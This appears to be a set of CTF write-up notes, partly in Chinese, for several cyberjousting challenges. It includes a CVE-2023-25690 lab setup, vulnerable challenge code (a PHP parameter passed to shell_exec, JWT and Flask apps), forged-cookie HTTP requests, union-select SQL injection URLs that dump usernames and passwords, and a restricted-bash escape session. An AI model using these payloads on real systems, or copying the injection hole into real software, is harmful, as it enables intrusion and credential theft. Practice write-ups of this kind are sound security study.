git clone https://github.com/dhmosfunk/CVE-2023-25690-POC.git
cd CVE-2023-25690-POC/lab
docker compose up -d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?phpif(isset($_GET['id'])){$id=$_GET['id'];echo'You category ID is: '.$id;}else{echo"Please insert the ID parameter in the URL";}#Internal secret functionality
if(isset($_GET['secret'])){$secret=$_GET['secret'];shell_exec('nslookup '.$secret);}?>
### IMPORTS ###importflask,redis,os### INITIALIZATIONS ###app=flask.Flask(__name__)app.config['SECRET_KEY']=os.urandom(32).hex()HOST="redthis-redis"### HELPER FUNCTIONS ###defgetData(key):db=redis.Redis(host=HOST,port=6379,decode_responses=True)value=db.get(key)returnvaluedefgetAdminOptions(username):adminOptions=[]ifusername!=Noneandusername=="admin":db=redis.Redis(host=HOST,port=6379,decode_responses=True)adminOptions=db.json().get("admin_options","$")[0]returnadminOptions### ROUTES ###@app.route('/',methods=['GET'])defroot():username=flask.session.get('username')adminOptions=getAdminOptions(username)returnflask.render_template('index.html',adminOptions=adminOptions)# get quote @app.route('/get_quote',methods=['POST'])defgetQuote():username=flask.session.get('username')person=flask.request.form.get('famous_person')quote=[person,'']if"flag"inpersonandusername!="admin":quote[1]="Nope"else:quote[1]=getData(person)adminOptions=getAdminOptions(username)returnflask.render_template('index.html',adminOptions=adminOptions,quote=quote)@app.route('/register',methods=['POST','GET'])defregister():# return register page ifflask.request.method=='GET':error=flask.request.args.get('error')returnflask.render_template('register.html',error=error)username=flask.request.form.get("username").lower()password=flask.request.form.get("password")## error checkifnotusernameornotpassword:returnflask.redirect('/register?error=Missing+fields')## if username already exists return errorisUser=getData(username)ifisUser:returnflask.redirect('/register?error=Username+already+taken')else:# insert new user and passworddb=redis.Redis(host=HOST,port=6379,decode_responses=True)# db.set(username, "User") # nah, we don't want to let you write to the db :)passwordKey=username+"_password"# db.set(passwordKey, password) # nah, we don't want to let you write to the db :)flask.session['username']=usernamereturnflask.redirect('/')@app.route('/login',methods=['POST','GET'])deflogin():# return register page ifflask.request.method=='GET':error=flask.request.args.get('error')returnflask.render_template('login.html',error=error)username=flask.request.form.get("username").lower()password=flask.request.form.get("password")## error checkifnotusernameornotpassword:returnflask.redirect('/login?error=Missing+fields')# check username and passworddbUser=getData(username)dbPassword=getData(username+"_password")ifdbUser=="User"anddbPassword==password:flask.session['username']=usernamereturnflask.redirect('/')returnflask.redirect('/login?error=Bad+login')if__name__=="__main__":app.run(host="0.0.0.0",port=1337,debug=False,threaded=True)
POST/get_quoteHTTP/1.1Host:redthis.chal.cyberjousting.comContent-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36famous_person=admin_password
1
2
3
4
5
6
7
POST/get_quoteHTTP/1.1Host:redthis.chal.cyberjousting.comCookie:session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aClO5g._S3TLBUJbAcEqasx_XMZq9xK3EMContent-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36famous_person=flag_7392ilj8i32
Cooking Flask
经过测试发现是Sql注入,只不过这里列数比较多
1
https://cooking.chal.cyberjousting.com/search?recipe_name=&description=&tags=' ) union select 1,2,3,4 from user--+
判断出来是八列之后,不然列名为int,我们挨个换就好了
1
https://cooking.chal.cyberjousting.com/search?recipe_name=&description=&tags=' ) union select 1,username,'2023-01-01',3,password,password,'[]',1 from user--+
# importsfromflaskimportFlask,request,redirect,make_response,jsonifyimportjwt,os# initialize flaskapp=Flask(__name__)FLAG=open('flag.txt','r').read()APP_SECRET=os.urandom(32).hex()ADMIN_SECRET=os.urandom(32).hex()print(f'ADMIN_SECRET: {ADMIN_SECRET}')# JRL - JWT Revocation Listjrl=[jwt.encode({"admin":True,"uid":'1337'},APP_SECRET,algorithm="HS256")]# main@app.route('/',methods=['GET'])defmain():resp=make_response('Hello World!')resp.set_cookie('session',jwt.encode({"admin":False},APP_SECRET,algorithm="HS256"))returnresp# get admin cookie if you know the secret@app.route('/get_admin_cookie',methods=['GET'])defget_admin_cookie():secret=request.args.get('adminsecret',None)uid=request.args.get('uid',None)ifsecretisNoneoruidisNoneoruid=='1337':returnredirect('/')ifsecret==ADMIN_SECRET:resp=make_response('Cookie has been set.')resp.set_cookie('session',jwt.encode({"admin":True,"uid":uid},APP_SECRET,algorithm="HS256"))returnresp# get flag if you are an admin@app.route('/flag',methods=['GET'])defflag():session=request.cookies.get('session',None).strip().replace('=','')ifsessionisNone:returnredirect('/')# check if the session is in the JRLifsessioninjrl:returnredirect('/')try:payload=jwt.decode(session,APP_SECRET,algorithms=["HS256"])ifpayload['admin']==True:returnFLAGelse:returnredirect('/')except:returnredirect('/')# retrieve the JRL@app.route('/jrl',methods=['GET'])defjrl_endpoint():returnjsonify(jrl)if__name__=="__main__":app.run(host='0.0.0.0',port=1337,threaded=True)
// server.js
constexpress=require('express');constjwt=require('jsonwebtoken');constcookieParser=require('cookie-parser');constpath=require('path');const{v4:uuidv4}=require('uuid');consthttp=require('http');constWebSocket=require('ws');// WebSocket library
constfs=require('fs');const{visitUrl}=require('./adminBot');// Import the visitUrl function
constapp=express();constport=3000;// Secret key for signing JWT
constJWT_SECRET=fs.readFileSync('secret.txt','utf8').trim()constFLAG=fs.readFileSync('flag.txt','utf8').trim()// Middleware to parse cookies
app.use(cookieParser());// Create HTTP server
constserver=http.createServer(app);// Create a WebSocket server
constwss=newWebSocket.Server({server});// Middleware to check for a valid JWT cookie
constcheckCookie=(req,res,next)=>{consttoken=req.cookies.token;// If the user does not have a token, generate a new one
if(!token){constuserId=uuidv4();constjwtToken=jwt.sign({userId},JWT_SECRET);res.cookie('token',jwtToken,{httpOnly:true,sameSite:'None',secure:true});returnres.redirect('/');}try{// Verify the JWT token and get the userId
constdecoded=jwt.verify(token,JWT_SECRET);req.userId=decoded.userId;next();}catch(error){// If the JWT token is invalid, generate a new one
constuserId=uuidv4();constjwtToken=jwt.sign({userId},JWT_SECRET);res.cookie('token',jwtToken,{httpOnly:true,sameSite:'None',secure:true});returnres.redirect('/');}};// Send a message to the WebSocket
constsendMsg=(ws,msg)=>{ws.send(JSON.stringify({message:msg,sender:'URL Bot'}));};// Serve the static files after checking the cookie
app.get('/',checkCookie,(req,res)=>{res.sendFile(path.join(__dirname,'public','index.html'));});// WebSocket connection handler
wss.on('connection',(ws,req)=>{// Get the userId from the cookie
constuserId=req.headers.cookie?req.headers.cookie.split('token=')[1]:null;if(userId){try{constdecoded=jwt.verify(userId,JWT_SECRET);constuser=decoded.userId;sendMsg(ws,`Welcome! Send a URL and the admin will visit it to check if it's up`);ws.on('message',async(data)=>{try{constmessage=JSON.parse(data);if(message.message==='/getFlag'){if(user==='admin'){sendMsg(ws,`Flag: ${FLAG}`);}else{sendMsg(ws,'You are not authorized to get the flag');}}else{if(message.message.startsWith('http://')||message.message.startsWith('https://')){sendMsg(ws,'Checking URL...');constresult=awaitvisitUrl(message.message);// have the adminBot visit the URL
if(result==='success'){sendMsg(ws,`${message.message} is up!`);}else{sendMsg(ws,`${message.message} returned an error: ${result}`);}}else{sendMsg(ws,'Please send a URL starting with http:// or https://');}}}catch(error){// Invalid message
ws.close();}});}catch(error){// Invalid JWT
ws.close();}}else{// No userId found in the cookie
ws.close();}});// Start the HTTP server
server.listen(port,()=>{console.log(`Server running at http://localhost:${port}`);});
Your SOC has flagged unusual outbound traffic on a segment of your network. After capturing logs from the router during the anomaly, they handed it over to you—the network analyst.
Somewhere in this mess, two compromised hosts are secretly mining cryptocurrency and draining resources. Analyze the traffic, identify the two rogue IP addresses running miners, and report them to the Incident Response team before your network becomes a crypto farm.
#!/bin/bash
unset PATH
enable -n execenable -n commandenable -n typeenable -n hashenable -n cdenable -n enableset +x
echo"Welcome to my new bash, sbash, the Safe Bourne Again Shell! There's no exploiting this system"while true;doread -p "safe_bash> " user_input
# Check if input is empty[[ -z "$user_input"]]&&continuecase"$user_input" in
*">"*|*"<"*|*"/"*|*";"*|*"&"*|*"$"*|*"("*|*"\`"*)echo"No special characters, those are unsafe!"&&continue;;esac# Execute only if it's a Bash builtineval"$user_input"done
baozongw1@ubuntu:~/Desktop/MiscTools$ncenabled.chal.cyberjousting.com1352Welcometomynewbash,sbash,theSafeBourneAgainShell!There's no exploiting this systemcompgen-cifthenelseelifficaseesacforselectwhileuntildodoneinfunctiontime{}![[]]coproc.:[aliasbgbindbreakbuiltincallercompgencompletecompoptcontinuedeclaredirsdisownechoevalexitexportfalsefcfggetoptshelphistoryjobskillletlocallogoutmapfilepopdprintfpushdpwdreadreadarrayreadonlyreturnsetshiftshoptsourcesuspendtesttimestraptruetypesetulimitumaskunaliasunsetwait
GNUbash,version5.2.21(1)-release(x86_64-pc-linux-gnu)Theseshellcommandsaredefinedinternally.Type`help' to see this list.Type`helpname' to find out more about the function `name'.Use`infobash' to find out more about the shell in general.Use`man-k' or `info'tofindoutmoreaboutcommandsnotinthislist.Astar(*)nexttoanamemeansthatthecommandisdisabled.job_spec[&]history[-c][-doffset][n]orhist>((expression))ifCOMMANDS;thenCOMMANDS;[elifC>.filename[arguments]jobs[-lnprs][jobspec...]orjobs>:kill[-ssigspec|-nsignum|-sigs>[arg...]letarg[arg...][[expression]]local[option]name[=value]...alias[-p][name[=value]...]logout[n]bg[job_spec...]mapfile[-ddelim][-ncount][-Oor>bind[-lpsvPSVX][-mkeymap][-ffile>popd[-n][+N|-N]break[n]printf[-vvar]format[arguments]builtin[shell-builtin[arg...]]pushd[-n][+N|-N|dir]caller[expr]pwd[-LP]caseWORDin[PATTERN[|PATTERN]...)>read[-ers][-aarray][-ddelim][->*cd[-L|[-P[-e]][-@]][dir]readarray[-ddelim][-ncount][-O>*command[-pVv]command[arg...]readonly[-aAf][name[=value]...]o>compgen[-abcdefgjksuv][-ooption][>return[n]complete[-abcdefgjksuv][-pr][-DEI]>selectNAME[inWORDS...;]doCOMM>compopt[-o|+ooption][-DEI][name.>set[-abefhkmnptuvxBCEHPT][-ooptio>continue[n]shift[n]coproc[NAME]command[redirections]shopt[-pqsu][-o][optname...]declare[-aAfFgiIlnrtux][name[=value>sourcefilename[arguments]dirs[-clpv][+N][-N]suspend[-f]disown[-h][-ar][jobspec...|pid>test[expr]echo[-neE][arg...]time[-p]pipeline*enable[-a][-dnps][-ffilename][na>timeseval[arg...]trap[-lp][[arg]signal_spec...]*exec[-cl][-aname][command[argume>trueexit[n]*type[-afptP]name[name...]export[-fn][name[=value]...]orex>typeset[-aAfFgiIlnrtux]name[=value>falseulimit[-SHabcdefiklmnpqrstuvxPRT][>fc[-eename][-lnr][first][last]o>umask[-p][-S][mode]fg[job_spec]unalias[-a]name[name...]forNAME[inWORDS...];doCOMMAND>unset[-f][-v][-n][name...]for((exp1;exp2;exp3));doCOMMAN>untilCOMMANDS;doCOMMANDS-2;donefunctionname{COMMANDS;}orname>variables-Namesandmeaningsofso>getoptsoptstringname[arg...]wait[-fn][-pvar][id...]*hash[-lr][-ppathname][-dt][name>whileCOMMANDS;doCOMMANDS-2;donehelp[-dms][pattern...]{COMMANDS;}